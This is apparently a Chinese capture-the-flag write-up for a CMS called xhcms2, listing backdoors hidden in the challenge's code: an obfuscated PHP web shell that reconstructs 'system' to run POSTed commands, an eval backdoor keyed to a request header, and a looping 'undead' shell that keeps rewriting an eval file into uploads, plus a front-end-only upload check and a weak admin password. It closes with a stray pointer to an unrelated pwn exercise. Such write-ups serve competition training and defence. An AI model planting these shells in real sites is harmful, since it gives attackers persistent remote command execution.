xhcms2
漏洞一:免杀马1
位置:/var/www/html/public/uploads/admin/202412/this_is_big.php
1 2 3 4 5 6 7 8
| <?php $a = substr_replace("xxser","syste",-3); $aa = array('',$a); $b = $aa[1].chr('109'); $fun=preg_replace("/xx/","",$b); $cc = substr_replace("",$fun,0); $cc($_POST['x']); ?>
|
输出下变化
1 2
| echo 'a='.$a.' aa='.$aa.' b='.$b.' fun='.$fun.' cc='.$cc; a=xxsyste aa=Array b=xxsystem fun=system cc=system
|
发送x=cat /flag得到

漏洞二:免杀马2
位置:/var/www/html/public/uploads/admin/.up.php
1 2 3
| <?php eval(${$_SERVER["HTTP_CLIENT_IP"]}[1]); ?>
|
${}如果方括号里的字符是转换成同名变量,例如 ${‘a’},如果存在$a=”abc”,那么${‘a’}=$a=”abc”,所以构造一个http包里的参数,去利用这个参数构造RCE

漏洞三:不死马
位置:/var/www/html/app/index/controller/Index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
namespace app\index\controller; use app\index\service\BaseService;
class Index extends Base { public function index(){ $this->view->assign('media', baseService::getMedia()); $this->view->assign('pid',0); $default_themes = config('xhadmin.default_themes') ? config('xhadmin.default_themes') : 'index'; return $this->display($default_themes.'/index'); }
public function shell(){ set_time_limit(0); ignore_user_abort(1); while (1) { $content = '<?php @eval($_POST["cmd"]) ?>'; file_put_contents("./uploads/.bk.php", $content); usleep(10000); } } }
|
访问
1
| ip + /index.php/index/Index/shell
|
激活不死马

漏洞四:后台文件上传
网站后台图片上传是前端验证,修改后缀即可绕过,


数据库里修改后缀没用,网站后台可以修改

漏洞5:后台密码泄露或者说弱密码

赛题把验证码功能删除了,所有验证码处随意输入,同时也把修改密码的功能删除了,网站上正常反馈,但实际没有效果
short:syscall + ret2csu
en…..原题….buu地址BUUCTF在线评测 (buuoj.cn)
可参考pwn刷题num48——syscall + ret2csu_pwn题目附件-CSDN博客